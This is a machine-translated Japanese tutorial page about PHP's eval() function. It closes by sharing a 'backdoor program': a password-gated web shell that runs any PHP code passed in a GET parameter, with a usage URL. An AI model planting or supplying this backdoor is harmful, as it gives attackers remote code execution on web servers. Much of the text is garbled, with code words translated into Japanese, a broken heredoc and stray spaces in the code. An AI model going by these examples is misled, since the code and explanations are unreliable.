コード:
コードをコピーします コードは次のとおりです:
eval("echo'hello world';");
上記のコードは以下のコードと同等です:
エコー「ハローワールド」;
ブラウザでの出力: hello world
eval() を使用する際の注意点:
1. eval 関数のパラメータ文字列の末尾にはセミコロンが必要であり、最後に別のセミコロンを追加する必要があります (このセミコロンは PHP の制限です)
2. 一重引用符、二重引用符、バックスラッシュの使用に注意してください。パラメータに変数があり、その変数に代入演算がある場合は、変数の前の $ 記号をエスケープする必要があります。代入操作がない場合は必要ありません。
コード:
コードをコピーします コードは次のとおりです:
$a=100;
eval("echo$a;");
代入演算がないため、$をエスケープする必要はありません。これは次のコードと同等です。
コードをコピーします コードは次のとおりです:
$a=100;
eval("echo$a;")
3. 命令文字列 (セミコロンを含む) の両側に二重引用符が必要であるか、必要に応じて一重引用符を使用する必要があることに注意してください。それ以外の場合は、エラーが報告されます。
命令型文字列とは、文字列に echo や print などのコマンドが含まれる場合を指します。
パラメータに変数が 1 つだけある場合は省略できます。例:
コードをコピーします コードは次のとおりです:
$func =<<function test(){
echo "test eval function"
}
FUNC;
eval( $func);
テスト();
php eval バックドア プログラムを共有します
eval関数のサポートに必要
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
コードをコピーします コードは次のとおりです:
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($ _GET['action ']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
http://www.bkjia.com/PHPjc/621693.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/621693.html技術記事コード: 次のようにコードをコピーします: eval("echo'hello world';"); 上記のコードは次のコードと同等です: echo "hello world"; 両方ともブラウザでの出力: hello world に注意してください。 eval().. .